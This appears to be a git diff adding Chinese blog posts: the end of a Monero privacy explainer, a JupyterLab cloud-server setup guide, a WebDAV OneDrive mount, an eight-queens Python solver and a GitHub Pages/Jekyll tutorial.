|
|
||||||
|
|
||||||
|
|
||||||
|
I
|
||||||
|
|
||||||
|
|
||||||
|
=
|
||||||
|
|
||||||
|
|
||||||
|
x
|
||||||
|
|
||||||
|
|
||||||
|
H
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
P
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
从 key image “I” 计算出一次性的 public address P 十分困难(这是密码学哈希函数的一个属性,正着算很容易,反推很难),因此 Alice 的身份永远也不会暴露。
|
||||||
|
|
||||||
|
当 P 被哈希的时候,永远都会返回同一个值,意味着 H(P) 也总是同一个值。既然 x 的值对于 Alice 来说是个常数,她也就是永远也无法生成多个 I 值。这使得 key image 对于每一笔交易都是不同的。
|
||||||
|
|
||||||
|
### Ring Confidential Transactions
|
||||||
|
|
||||||
|
基于 Gergory Maxwell 的研究实现了 Ring CT,Ring CT保证了交易本身的匿名性,它在链上隐藏了交易的数额。这也意味着所有的交易输入都不需要再被拆分为已知的面额,钱包现在可以从任意的 Ring CT 输出中选择 ring 成员。
|
||||||
|
|
||||||
|
环形加密技术的基础仍旧是与比特币一样的基于Hash值的公钥+私钥加解机制。只是比特币是用接受者的公钥加密,接受者用与之配对的私钥解密验证。而环形加密则使用了多个公钥进行加密,并用接受者的私钥进行解密验证。
|
||||||
|
|
||||||
|
#### Kovri and I2P
|
||||||
|
|
||||||
|
I2P 是一个路由系统,它能够让应用秘密地互相发送信息而无须任何外部干涉。Kovri 是 I2P 的 C++ 实现,它也会被集成到门罗里面。**Kovri 将会隐藏你的网络流量**,如此一来,被动的网络监控就根本不会暴露你正在使用门罗。为此,你的所有门罗流量将会被加密并通过 I2P 节点路由。节点就像瞎的看门人,它们会知道你的信息通过,但是**不知道这些去向哪儿以及信息的具体内容**。
|
||||||
|
|
||||||
|
### 门罗价值和市值
|
||||||
|
|
||||||
|
目前,XMR流通市值$1,522,148,966,流通量16,335,709 XMR每个XMR¥637,占全球总市场0.7%,排名10。门罗总量为 1840 万,挖矿奖励会持续到 2022 年 5 月 31。之后,系统设定为 0.3 XMR/min 的奖励。这是为了矿工能过持续的激励挖矿,而不仅仅依赖于交易费,毕竟门罗已经被挖完了。
|
||||||
|
|
||||||
|
### 门罗的优势与劣势
|
||||||
|
|
||||||
|
### 优势
|
||||||
|
|
||||||
|
### 劣势
|
||||||
|
|
||||||
|
**毫无疑问,未来会更加开放和去中心化,门罗也会因其隐私性而越具吸引力。特别有趣之处在于,它是少数几个不是基于比特币的币,却是同时有着真正价值的“潜力股”。对门罗来说,随着它已经经历了惊人的增长,未来依旧光明一片。当实现 Kovri 以后,相信一切会变得更加有趣.**
|
||||||
|
|
||||||
|
相关链接:[cryptonote系统](https://github.com/cryptonotefoundation/cryptonote) 、[monero](https://getmonero.org/)、[了解门罗币](https://www.ds-vip.top/%E5%8C%BA%E5%9D%97%E9%93%BE/2018/08/21/start-monero/)
|
|
@ -0,0 +1,354 @@
|
||||||
|
# 原创
|
||||||
|
: 云服务器搭建神器JupyterLab(多图)
|
||||||
|
|
||||||
|
# 云服务器搭建神器JupyterLab(多图)
|
||||||
|
|
||||||
|
# 云服务器搭建神器JupyterLab(多图)
|
||||||
|
|
||||||
|
>
|
||||||
|
[`JupyterLab`](https://github.com/jupyterlab/jupyterlab)是一个交互式的开发环境,其用于应对包含着`notebook`、代码以及数据的工作场景。
|
||||||
|
|
||||||
|
|
||||||
|
## 1、前言
|
||||||
|
|
||||||
|
**如果说`vim`是编辑器之神,那么`JupyterLab`就是笔记本之神。**
|
||||||
|
|
||||||
|
从2017年开始我注意到这一神奇的`IDE`笔记本,第一眼见到它,就觉得它真的太强大了,作为一个交互式的`Python`开发工具,其实也不算开发工具,准确的来说,它是一个演示代码的科学数据工具,支持`markdown`预览,支持[Draw](https://www.draw.io/)扩展,支持丰富的文件格式和多种开发语言,拥有众多[插件](https://github.com/jupyterlab?utf8=%E2%9C%93&q=extension&type=&language=)诸于`GitHub`, `Google-Dirve`, `Git`和`TOC`,更重要的是,它是把浏览器当作开发工具,十分有创意。[`JupyterLab`](https://github.com/jupyterlab/jupyterlab)的开发者众多,`GitHub`上面的`isuue`也十分活跃,众多的大牛开发者也纷纷加入到`JupyterLab`的阵营,为`JupyterLab`的发展作贡献,`JupyterLab`得到迅速发展。
|
||||||
|
|
||||||
|
好的工具当然是要好好利用了,回归正题,怎样通过云服务器搭建一个可远程使用的`JupyterLab`?
|
||||||
|
|
||||||
|
## 2、购买云服务器`ECS`
|
||||||
|
|
||||||
|
这里我就直接买了阿里的学生优惠的`ECS`,9.9元/月,价格算是良心了,这里可以领一下优惠券:[阿里云限时礼包](https://promotion.aliyun.com/ntms/yunparter/invite.html?userCode=vya2etaw)。亚马逊还有每个账户免费使用一年云服务器的机会,也可以用一用。购买之后创建实例,启动云服务器,我这里用的是`Ubuntu 16.04`镜像,记住你设置的`root`密码。如果没有特殊要求,可以直接使用`root`用户进行下面操作,不必新建用户。
|
||||||
|
|
||||||
|
## 3、登录ECS并安装必要软件
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install ssh
|
||||||
|
ssh root@公网ip
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这个ip是公网ip,在你购买的服务器运营商的实例列表里,如果不出意外就可以登录ECS了。
|
||||||
|
|
||||||
|
### 3.1 先做好准备工作
|
||||||
|
|
||||||
|
比喻你添加ppa源的时候出现这种情况
|
||||||
|
|
||||||
|
```
|
||||||
|
root@iZwz9huxtbd86xp91s3j16Z:~# sudo add-apt-repository ppa:chronitis/jupyter
|
||||||
|
sudo: add-apt-repository: command not found
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
解决办法
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install software-properties-common
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.2 关于`pip`的问题
|
||||||
|
|
||||||
|
#### 安装pip
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install python-pip python-dev build-essential
|
||||||
|
sudo pip install --upgrade pip
|
||||||
|
sudo pip install --upgrade virtualenv
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install python-setuptools python-dev build-essential
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo easy_install pip
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo pip install --upgrade virtualenv
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install python3-pip
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install python-pip
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 升级`pip`
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo pip3 install --upgrade pip
|
||||||
|
sudo pip2 install --upgrade pip
|
||||||
|
sudo pip install --upgrade pip
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 更换`pip`源加速下载
|
||||||
|
|
||||||
|
```
|
||||||
|
cat > ~/.pip/pip.conf
|
||||||
|
[global]
|
||||||
|
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`npm`和`yarn`也可以换源,更简单,自行`google`。
|
||||||
|
|
||||||
|
`pip`国内的一些镜像包,换源之后出现`python2`版本过低的情况导致以前的包下载不了,那就直接将文件夹`~/.pip/pip.conf`删除就可以恢复原来的源。
|
||||||
|
|
||||||
|
#### `pip`指向问题
|
||||||
|
|
||||||
|
有时候会出现`pip,pip2,pip3`都TM指向`python2`,这个之后就需要改一下这这三个文件。
|
||||||
|
|
||||||
|
编辑这三个文件,将第一行注释分别改为python\python2\python3
|
||||||
|
|
||||||
|
```
|
||||||
|
~ $which pip
|
||||||
|
/usr/local/bin/pip
|
||||||
|
21:36 alien@alien-Inspiron-3443:
|
||||||
|
~ $which pip2
|
||||||
|
/usr/local/bin/pip2
|
||||||
|
21:36 alien@alien-Inspiron-3443:
|
||||||
|
~ $which pip3
|
||||||
|
/usr/local/bin/pip3
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.3 安装`yarn`和`nodejs`
|
||||||
|
|
||||||
|
#### 配置仓库
|
||||||
|
|
||||||
|
```
|
||||||
|
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
|
||||||
|
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 安装`yarn`
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install yarn
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
注意这里`yarn`自动安装了`nodejs`,不过版本太低,安装`jupyterlab`的时候会出问题,而且使用`n`或者`nvm`安装的`nodejs`也有问题,总之`nodejs`要按照下面这种方式就没事,这个是官方的`bug`,官方`issue`也提到过,但是目前还未解决。
|
||||||
|
|
||||||
|
#### 安装`nodejs`
|
||||||
|
|
||||||
|
创建一个新文件,输入两行`deb`,结束之后`Ctrl+C`:
|
||||||
|
|
||||||
|
```
|
||||||
|
cat > /etc/apt/sources.list.d/nodesource.list
|
||||||
|
deb https://deb.nodesource.com/node_6.x xenial main
|
||||||
|
deb-src https://deb.nodesource.com/node_6.x xenial main
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
导入公匙并安装`nodejs`,这个版本的`nodejs`对`jupyterlab`支持比较友好。
|
||||||
|
|
||||||
|
```
|
||||||
|
curl -s https://deb.nodesource.com/gpgkey/nodesource.gpg.key | sudo apt-key add -
|
||||||
|
sudo apt-get update
|
||||||
|
apt-cache policy nodejs
|
||||||
|
sudo apt-get install nodejs
|
||||||
|
nodejs --version
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 安装`ipython,matplotlib,scipy,pandas,numpy`
|
||||||
|
|
||||||
|
最好`python2`和`python3`都安装。
|
||||||
|
|
||||||
|
## 4、安装`JupyterLab`及其配置
|
||||||
|
|
||||||
|
记住使用`pip2`安装,如果你用`pip3`安装的话可能会出现版本兼容问题。
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo pip2 install jupyterlab
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
生成密码
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter-notebook password
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.1 创建哈希密码
|
||||||
|
|
||||||
|
```
|
||||||
|
ipython
|
||||||
|
from notebook.auth import passwd
|
||||||
|
passwd()
|
||||||
|
# 输入你自己设置登录JupyterLab界面的密码,
|
||||||
|
# 然后就会生产下面这样的密码,将它记下来,待会儿用
|
||||||
|
'sha1:b92f3fb7d848:a5d40ab2e26aa3b296ae1faa17aa34d3df351704'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.2 修改`JupyterLab`配置文件
|
||||||
|
|
||||||
|
先生成一个配置文件,记下输出的配置文件地址
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter lab --generate-config
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
修改配置文件,找到下面这几行文件,注释掉并修改成这样。
|
||||||
|
|
||||||
|
```
|
||||||
|
c.NotebookApp.allow_root = True
|
||||||
|
c.NotebookApp.ip = '0.0.0.0'
|
||||||
|
c.NotebookApp.notebook_dir = u'/root/JupyterLab'
|
||||||
|
c.NotebookApp.open_browser = False
|
||||||
|
c.NotebookApp.password = u'sha1:b92f3fb7d848:a5d40ab2e26aa3b296ae1faa17aa34d3df351704'
|
||||||
|
c.NotebookApp.port = 8080
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
对应每行稍微解释一下
|
||||||
|
|
||||||
|
```
|
||||||
|
允许以root方式运行jupyterlab
|
||||||
|
允许任意ip段访问
|
||||||
|
设置jupyterlab页面的根目录
|
||||||
|
默认运行时不启动浏览器,因为服务器默认只有终端嘛
|
||||||
|
设置之前生产的哈希密码
|
||||||
|
设置访问端口
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
到此,`JupyterLab`已经安装成功了。
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter-lab --version
|
||||||
|
0.33.12
|
||||||
|
jupyter lab build
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`jupyter lab build`时间有点久,如果没报错就成功了。但此时你还不能访问`JupyterLab`,还需要添加端口规则,也就是所谓的添加安全组。
|
||||||
|
|
||||||
|
## 5、添加安全组
|
||||||
|
|
||||||
|
<img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo20181102230911.png"/><br/> 去ECS控制台添加安全组,不然你无法通过本地浏览器访问`JupyterLab`,设置`8080`端口入方向。<br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo20181102231126.png"/>
|
||||||
|
|
||||||
|
## 远程访问`JupyterLab`
|
||||||
|
|
||||||
|
运行下面命令。
|
||||||
|
|
||||||
|
```
|
||||||
|
# nohup表示ssh终端断开后仍然运行
|
||||||
|
# &表示允许后台运行
|
||||||
|
nohup jupyter lab &
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
浏览器输入`公网ip:8080`,就可以访问你的`JupyterLab`了,第一次访问比较慢,耐心一点,如果最终还是无法访问,那么就是你的安全组配置错啦。<br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo20181102231458.png"/><br/> 输入密码就可以用了。
|
||||||
|
|
||||||
|
## 6、`JupyterLab`扩展安装
|
||||||
|
|
||||||
|
查看已经安装的扩展及其状态:
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter labextension list
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
比喻安装一个扩展`jupyterlab_html`,支持html预览:
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter labextension install @mflevine/jupyterlab_html
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
卸载扩展:
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter labextension uninstall @mflevine/jupyterlab_html
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
更新所有扩展:
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter labextension update --all
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
下面以安装[GitHub](https://github.com/jupyterlab/jupyterlab-github)扩展为例。
|
||||||
|
|
||||||
|
### 安装`GitHub`扩展
|
||||||
|
|
||||||
|
先去`GitHub`生成一个`token`,记下`token`,待会儿配置要用。
|
||||||
|
|
||||||
|
下载安装扩展:
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter labextension install @jupyterlab/github
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
配置`token`
|
||||||
|
|
||||||
|
```
|
||||||
|
# 在之前的生成的config文件中添加
|
||||||
|
c.GitHubConfig.access_token = '< YOUR_ACCESS_TOKEN >'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
需要其他扩展的在[GitHub](https://github.com/)可以自行下载。<br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo20181102234041.png"/>
|
||||||
|
|
||||||
|
## 7、内核安装与卸载
|
||||||
|
|
||||||
|
安装Python内核
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo pip2 install ipykernel
|
||||||
|
sudo pip3 install ipykernel
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
如果`pip`指向正常的话就可以看到两个`Python`内核了。
|
||||||
|
|
||||||
|
查看已经安装的内核
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter kernelspec list
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
删除你不需要的内核
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter kernelspec remove <kernel_name>
|
||||||
|
/root/JupyterLab
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 8、域名和`https`配置
|
||||||
|
|
||||||
|
域名和SSL配置可以参考这两篇文章:
|
||||||
|
|
||||||
|
其实为觉得没必要,毕竟是个人用的工具,没必要搞个域名,不过强迫症就另说了。具体效果是这样的:
|
||||||
|
|
||||||
|
## 9、结语
|
||||||
|
|
||||||
|
`JupyterLab`的搭建就是这么简单,好的工具就应该好好利用,支持做图,`markdown`,多标签,内部打开网页,`latex`,网页预览,这么好的工具我应该早点发现呀。最后,以秀图结束本文,多多指教!
|
||||||
|
|
||||||
|
>
|
||||||
|
原创博文,转载注明请注明出处: [https:www.ds-vip.top](https:www.ds-vip.top)
|
||||||
|
|
|
@ -0,0 +1,72 @@
|
||||||
|
# 原创
|
||||||
|
: 以WebDav方式挂载OneDrive
|
||||||
|
|
||||||
|
# 以WebDav方式挂载OneDrive
|
||||||
|
|
||||||
|
玩`OneDrive`的时候,有时候会遇到没有`API`权限的帐号,这个时候我们就不能使用`rclone`挂载`OneDrive`,其他第三方也不行,这就有点难受了。<br/> 不过,我们还有另一种方式挂载,也就是以`WebDav`的方式挂载。<br/>
|
||||||
|
|
||||||
|
### 文章目录
|
||||||
|
|
||||||
|
## 1、get cookie
|
||||||
|
|
||||||
|
网页登陆你的`OneDrive`。<br/> <img alt="mark" src="http://image.creat.kim/image/20190116/CpLEwlB3bCt1.png?imageslim"/><br/> 我们要拿到的就是如图所示的`FedAuth`和`rtFa`两个`cookie`的`Value`值,比较长的一串。**注意`Cookie`下的那几个网址选带有`sharepoint.com`的那个。**
|
||||||
|
|
||||||
|
拿到这两个值就可以进行下面的操作了。
|
||||||
|
|
||||||
|
## 2、install and config
|
||||||
|
|
||||||
|
### step1:
|
||||||
|
|
||||||
|
```
|
||||||
|
apt-get install davfs2
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### step2:
|
||||||
|
|
||||||
|
IF Mount PATH: `/root/WebDav`
|
||||||
|
|
||||||
|
```
|
||||||
|
vi /etc/davfs2/davfs2.conf
|
||||||
|
|
||||||
|
add:
|
||||||
|
[/root/WebDav/] # Mount PATH
|
||||||
|
ask_auth 0
|
||||||
|
add_header Cookie rtFa=XXXXXX;FedAuth=YYYYYY #Value
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### revise url:
|
||||||
|
|
||||||
|
```
|
||||||
|
https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/_layouts/15/onedrive.aspx
|
||||||
|
|
||||||
|
to
|
||||||
|
|
||||||
|
https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/Documents
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3、mount
|
||||||
|
|
||||||
|
```
|
||||||
|
mount.davfs -o rw "https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/Documents" /root/WebDav
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 4、check
|
||||||
|
|
||||||
|
```
|
||||||
|
df -h
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/Documents 1.3T 763G 509G 61% /root/WebDav
|
||||||
|
......
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**Enjoy it!**
|
|
@ -0,0 +1,58 @@
|
||||||
|
# 原创
|
||||||
|
: 八皇后问题
|
||||||
|
|
||||||
|
# 八皇后问题
|
||||||
|
|
||||||
|
# 八皇后问题
|
||||||
|
|
||||||
|
>
|
||||||
|
参考:维基百科[八皇后问题](https://zh.wikipedia.org/wiki/%E5%85%AB%E7%9A%87%E5%90%8E%E9%97%AE%E9%A2%98)
|
||||||
|
|
||||||
|
|
||||||
|
**八皇后问题**是一个以国际象棋为背景的问题:如何能够在8×8的国际象棋棋盘上放置八个皇后,使得任何一个皇后都无法直接吃掉其他的皇后?为了达到此目的,任两个皇后都不能处于同一条**横行、纵行或斜线**上。八皇后问题可以推广为更一般的**n皇后摆放问题**:这时棋盘的大小变为**n**×**n**,而皇后个数也变成**n**。**当且仅当**n** = 1或**n** ≥ 4时问题有解。**维基百科给出了很详细的解答。
|
||||||
|
|
||||||
|
## 状态表示
|
||||||
|
|
||||||
|
用元祖或列表表示一个解决方案,state[0]==3表示第一行的皇后在第四列上。当递归到某一层面,只知道上一行的皇后状态,因此需要一个长度小于8的状态元组
|
||||||
|
|
||||||
|
## 条件限定
|
||||||
|
|
||||||
|
```
|
||||||
|
def conflict(state,nextX):
|
||||||
|
nextY = len(state)
|
||||||
|
for i in range(nextY):
|
||||||
|
if abs(state[i]-nextX) in (0,nextY-i):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 基本情况
|
||||||
|
|
||||||
|
```
|
||||||
|
# 如果只有最后一个皇后没有放置,那么遍历它所有可能的位置,返回没有冲突的位置
|
||||||
|
# num是皇后总数,state是存放前面皇后的位置
|
||||||
|
# 不是最后一个皇后则递归确定前一个皇后位置
|
||||||
|
def queens(num=8,state=()):
|
||||||
|
for pos in range(num):
|
||||||
|
if not conflict(state,pos):
|
||||||
|
if len(state)==num-1:
|
||||||
|
yield (pos,)
|
||||||
|
else:
|
||||||
|
for result in queens(num,state+(pos,)):
|
||||||
|
yield (pos,)+result
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 打包
|
||||||
|
|
||||||
|
```
|
||||||
|
def prettyprint(solution):
|
||||||
|
def line(pos,length=len(solution)):
|
||||||
|
return ". "*(pos)+"X "+". "*(length-pos-1)
|
||||||
|
for pos in solution:
|
||||||
|
print line(pos)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
一共92中答案。
|
|
@ -0,0 +1,212 @@
|
||||||
|
# 原创
|
||||||
|
: 利用GitHub_Pages搭建简易个人博客
|
||||||
|
|
||||||
|
# 利用GitHub_Pages搭建简易个人博客
|
||||||
|
|
||||||
|
个人博客已经开通:[https://ds19991999.github.io](https://ds19991999.github.io),欢迎访问
|
||||||
|
|
||||||
|
# 1.基本实现
|
||||||
|
1. 在github上建库,库名必须是usrname.github.com,usr必须是你github账号的用户名;1. 在Jekyll上面选择喜欢的模板下载到本地(以Bef为例);1. Git操作,建议使用客户端Git命令行操作
|
||||||
|
```
|
||||||
|
//1.打开git bash,配置用户名和邮件
|
||||||
|
git config --global user.name "your name"
|
||||||
|
git config --global user.email "your email"
|
||||||
|
|
||||||
|
//2.克隆你在github上建立的要建立个人博客的库
|
||||||
|
git svn clone url
|
||||||
|
|
||||||
|
//3.提交文件测试
|
||||||
|
touch test.c //新建一个文件用于测试
|
||||||
|
git add test.c
|
||||||
|
git commit -m "第一次提交测试"
|
||||||
|
git remote add test.c https://github.com/ds19991999/ds19991999.github.com.git
|
||||||
|
git push //可能不成功,按照提示进行操作,可能是config里面的文件没有用户名和邮箱
|
||||||
|
|
||||||
|
//我用下面命令就就正常了,应该是之前的库是空的需要先建一个banch分支
|
||||||
|
git push test.c
|
||||||
|
git push --set-upstream test.c master
|
||||||
|
|
||||||
|
//4.直接将本地的Bef博客模板clone到远程库上
|
||||||
|
git banch //查看本地分支,此刻应该只有master一个分支
|
||||||
|
//git checkout -b 本地分支名 //新建本地分支并切换分支(在本地分支进行开发)
|
||||||
|
//git pull origin 远程仓库分支名//将远程仓库分支上的代码更新到本地
|
||||||
|
git status //查看当前状态
|
||||||
|
git add . //提交所有 或者git add 提交文件名,此前应该将Bef模板中的文件直接clone到本地仓库
|
||||||
|
git commit -m "提交信息备注" //提交到本地仓库
|
||||||
|
git push origin 要提交的分支名称(一般是master) //将本地仓库推送到远程仓库里面
|
||||||
|
|
||||||
|
//注:傻瓜式操作:直接将Bef文件夹中所有文件拖动到github仓库
|
||||||
|
```
|
||||||
|
|
||||||
|
4.访问自己的博客主页 <br/> [https://usrname.github.io](https://usrname.github.io),比喻我的:[https://ds19991999.github.io](https://ds19991999.github.io)
|
||||||
|
|
||||||
|
# 2.关于GitHub Pages
|
||||||
|
|
||||||
|
GitHub Pages 是 GitHub 面向用户、组织和项目开放的公共静态页面搭建托管服 <br/> 务,允许站内生成网页,也允许用户自己编写网页,然后上传。站点可以被免 <br/> 费托管在 GitHub 上,可以选择使用 GitHub Pages 默认提供的域名 github.io <br/> 或者自定义域名来发布站点。GitHub Pages 支持自动利用 Jekyll 生成站点, <br/> GitHub Pages 可以被认为是用户编写的、托管在 GitHub 上的静态网页。
|
||||||
|
|
||||||
|
搭建中小型 Blog,特别是个人博客,确实是个很好的选择。既拥有绝对管理权, <br/> 又享受 GitHub 带来的便利,更主要的是,这一切是免费的,GitHub 提供无限流量.
|
||||||
|
|
||||||
|
# 3.关于Jekyll的结构
|
||||||
|
|
||||||
|
```
|
||||||
|
|-- _config.yml
|
||||||
|
|-- _includes
|
||||||
|
|-- _layouts
|
||||||
|
| |-- default.html
|
||||||
|
| `-- post.html
|
||||||
|
|-- _posts
|
||||||
|
| |-- 2007-10-29-why-every-programmer-should-play-nethack.textile
|
||||||
|
| `-- 2009-04-26-barcamp-boston-4-roundup.textile
|
||||||
|
|-- _site
|
||||||
|
`-- index.html
|
||||||
|
```
|
||||||
|
|
||||||
|
## _config.yml
|
||||||
|
|
||||||
|
配置文件,用来定义你想要的效果,设置之后就不用关心了。
|
||||||
|
|
||||||
|
## _includes
|
||||||
|
|
||||||
|
## _layouts
|
||||||
|
|
||||||
|
模板文件存放的位置。模板需要通过[YAML front matter](https://github.com/jekyll/jekyll/wiki/YAML-Front-Matter)来定义 <br/> 来定义,{ { content }}标记用来将数据插入到这些模板中来。
|
||||||
|
|
||||||
|
发布的文章会根据文章顶部的 yaml 文件头来设置一些元数据,如 layout:default,表示该文章的模板使用 _layouts 目录下的 post.html 文件;title:,表示该文章的标题,如果不设置这个值,默认使用嵌入文件名的标题等等。
|
||||||
|
|
||||||
|
## _posts
|
||||||
|
|
||||||
|
你的动态内容,一般来说就是你的博客正文存放的文件夹。他的命名有严格的规定,必须是**2012-02-22-artical-title.MARKUP**这样的形式, <br/> MARKUP是你所使用标记语言的文件后缀名,根据_config.yml中设定的链接规则,可以根据你的文件名灵活调整,文章的日期和标记语言后缀与文章的标题是独立的。
|
||||||
|
|
||||||
|
在博客上发布文章的时候,只需要在此文件夹中加入带有 YAML 头信息的 MarkDown 文件,然后 push 到 GitHub,就会被自动渲染成 HTML。
|
||||||
|
|
||||||
|
## _site
|
||||||
|
|
||||||
|
这个是Jekyll生成的最终的文档,不用去关心。最好把他放在你的.gitignore文件中忽略它。
|
||||||
|
|
||||||
|
## 其他文件夹
|
||||||
|
|
||||||
|
你可以创建任何的文件夹,在根目录下面也可以创建任何文件,假设你创建了project文件夹,下面有一个github-pages.md的文件,那么你就可以通过yoursite.com/project/github-pages访问的到,如果你是使用一级域名的话。
|
||||||
|
|
||||||
|
# 4.Jekyll的配置
|
||||||
|
|
||||||
|
配置文件在_config.yml文件中,不必一一追究了,需要的可以参考官方文档[关于Jekyll配置的官方文档](https://github.com/jekyll/jekyll/wiki),但Permalink和自定义项这两个很重要。
|
||||||
|
|
||||||
|
## `Permalink`
|
||||||
|
|
||||||
|
用来定义你最终的文章链接是什么形式,他有下面几个变量: <br/> - year 文件名中的年份 <br/> - month 文件名中的月份 <br/> - day 文件名中的日期 <br/> - title 文件名中的文章标题 <br/> - categories 文章的分类,如果文章没有分类,会忽略 <br/> - i-month 文件名中的除去前缀0的月份 <br/> - i-day 文件名中的除去前缀0的日期
|
||||||
|
|
||||||
|
配置效果 <br/> - `permalink: pretty` /2018/06/15/slap-chop/index.html <br/> - `permalink: /:month-:day-:year/:title.html` /06-15-2018/slap-chop.html <br/> - `permalink: /blog/:year/:month/:day/:title` /blog/2018/06/15/slap-chop/index.html <br/> - `permalink: /:title` /github-pages
|
||||||
|
|
||||||
|
## 自定义项
|
||||||
|
|
||||||
|
例如我们定义了`title:BeiYuu的博客`这样一项,那么你就可以在文章中使用{ { site.title }}来引用这个变量了,非常方便定义些全局变量。
|
||||||
|
|
||||||
|
# 5.YAML Front Matter和模板变量
|
||||||
|
|
||||||
|
对于YAML格式的文章,Jekyll的格式很严格,必须是这样的:
|
||||||
|
|
||||||
|
```
|
||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: Blogging Like a Hacker
|
||||||
|
---
|
||||||
|
```
|
||||||
|
|
||||||
|
前后的—不能省略,在这之间,你可以定一些你需要的变量,layout就是调用_layouts下面的某一个模板,他还有一些其他的变量可以使用: <br/> - permalink 你可以对某一篇文章使用通用设置之外的永久链接 <br/> - published 可以单独设置某一篇文章是否需要发布 <br/> - category 设置文章的分类 <br/> - tags 设置文章的tag
|
||||||
|
|
||||||
|
# 6.使用Disqus管理评论
|
||||||
|
|
||||||
|
注意是管理评论,Disqus支持很多的博客平台,注册账号什么的就不提了,参见下图:<img alt="image" src="http://beiyuu.com/images/githubpages/disqus-site.jpg" title=""/>
|
||||||
|
|
||||||
|
## Unversal Code
|
||||||
|
|
||||||
|
这里使用网友推荐的`Universal Code`,然后会看到一个介绍页面,把下面这段代码复制到你的模板里面,可以只复制到显示文章的模板中:
|
||||||
|
|
||||||
|
```
|
||||||
|
<div id="disqus_thread"></div>
|
||||||
|
<script type="text/javascript">
|
||||||
|
/* * * CONFIGURATION VARIABLES: EDIT BEFORE PASTING INTO YOUR WEBPAGE * * */
|
||||||
|
var disqus_shortname = 'example'; // required: replace example with your forum shortname 这个地方需要改成你配置的网站名
|
||||||
|
